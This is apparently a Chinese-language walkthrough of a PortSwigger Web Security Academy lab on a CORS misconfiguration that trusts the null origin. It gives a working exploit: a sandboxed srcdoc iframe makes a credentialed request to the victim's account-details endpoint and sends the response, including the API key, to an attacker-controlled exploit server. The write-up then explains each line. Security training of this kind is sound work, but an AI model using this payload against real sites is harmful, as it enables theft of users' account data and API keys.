# CORS Lab2
本題是 CORS + null origin 漏洞的應用題,利用讓瀏覽器產生 null origin 的請求,再搭配網站信任 null origin 的錯誤設定,達到跨站資料竊取。
一樣先進入網站。

然後登入帳號並測試。


可以從 null origin 偷資料,所以寫一個 JS 在 Exploit Server 執行,進行跨站盜資料。
```html
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" srcdoc="<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://0a8600a704ba735c80c403ef00760055.web-security-academy.net//accountDetails',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://exploit-0a4900b304bd73fd809c025201bf0032.exploit-server.net/log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>
```
```
<iframe
sandbox="allow-scripts allow-top-navigation allow-forms"
srcdoc="
```
建立一個內嵌頁面,用來執行跨站請求。
sandbox 屬性:
讓 iframe 成為 受限制的環境,不帶任何原始權限。
但我們這邊給它:
| 權限 | 用途說明 |
| -------- | -------- |
| allow-scripts | 允許 `<script>` 執行(否則裡面 JS 不會跑) |
| allow-top-navigation | 允許 iframe 使用 location= 導向外部頁面 |
| allow-forms | 保險加上,但非必要 |
srcdoc="...":
這個屬性允許你直接塞 一整段 HTML/JS 程式碼進去 iframe 內容中,這也是這段能做到 null origin 的關鍵,只要使用 srcdoc,這個 iframe 的 origin 就會是 null。
```
<script>
var req = new XMLHttpRequest();
```
建立一個 XHR 請求物件,準備進行 AJAX 請求。
```
req.onload = reqListener;
```
請求成功回來時執行 reqListener 函式。
```
req.open('get','YOUR-LAB-ID.web-security-academy.net/accountDetails',true);
```
對目標網站發送 GET 請求,目標是 /accountDetails,那裡包含了使用者的帳號與 API key。
```
req.withCredentials = true;
```
代表請求會附上 cookie(尤其是 session cookie),這樣受害者訪問時,瀏覽器就會自動帶上他的身份憑證 → 拿到他自己的 API key。
```
req.send();
```
送出請求。
```
function reqListener() {
location='https://exploit-0a4900b304bd73fd809c025201bf0032.exploit-server.net/log?key='+encodeURIComponent(this.responseText);
};
</script>">
```
當 AJAX 請求成功時,把 response(也就是 API key)轉成字串,並透過 `location = '...'` 方式導向一個你控制的網址(exploit server)
這樣你只要去看 exploit server 的 Access log,就可以偷到完整資料。


```
6kqRqNN8ADdsCipiN0m21WdgJUtiDZi6
```
拿去提交。

---